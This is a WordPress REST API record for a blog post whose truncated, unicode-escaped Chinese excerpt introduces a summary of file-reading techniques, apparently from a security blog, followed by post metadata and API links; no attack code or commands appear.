\u867d\u7136\u7406\u8bba\u4e0a\u9996\u53d1\u4e8e\u5148\u77e5\u793e\u533a\uff0c\u4f46\u56e0\u4e3a\u6587\u4ef6\u8bfb\u53d6\u7684\u6280\u5de7\u5b9e\u5728\u592a\u591a\u4e86\uff0c\u5f53\u65f6\u603b\u7ed3\u7684\u5176\u5b9e\u4e5f\u4e0d\u662f\u5f88\u5168\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6587\u7ae0\u5176\u5b9e\u4e5f\u7b97\u6211\u7684\u4e00 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1518","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=1518"}],"version-history":[{"count":9,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1518\/revisions"}],"predecessor-version":[{"id":3003,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1518\/revisions\/3003"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=1518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=1518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=1518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}